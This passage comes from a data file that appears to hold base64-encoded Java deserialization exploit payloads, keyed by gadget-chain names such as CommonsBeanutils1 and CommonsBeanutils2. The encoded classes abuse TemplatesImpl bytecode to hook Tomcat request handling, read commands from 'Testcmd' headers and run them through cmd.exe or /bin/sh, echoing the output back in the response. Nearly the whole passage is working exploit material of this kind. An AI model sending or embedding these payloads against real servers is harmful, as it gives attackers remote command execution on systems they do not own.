2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZwdAADYWJjc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3EAfgALeHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAIdwgAAAALAAAAAHhwdwEAeHNyACtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0Lm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAtTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9uczQvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AApbAAtpUGFyYW1UeXBlc3EAfgAJeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAAXR4", "CommonsBeanutils1":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vRERsMlpGZjhZBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29ERGwyWkZmOFkuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==", "CommonsBeanutils2":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vTkdVYU4zQnJRBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29OR1VhTjNCclEuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZX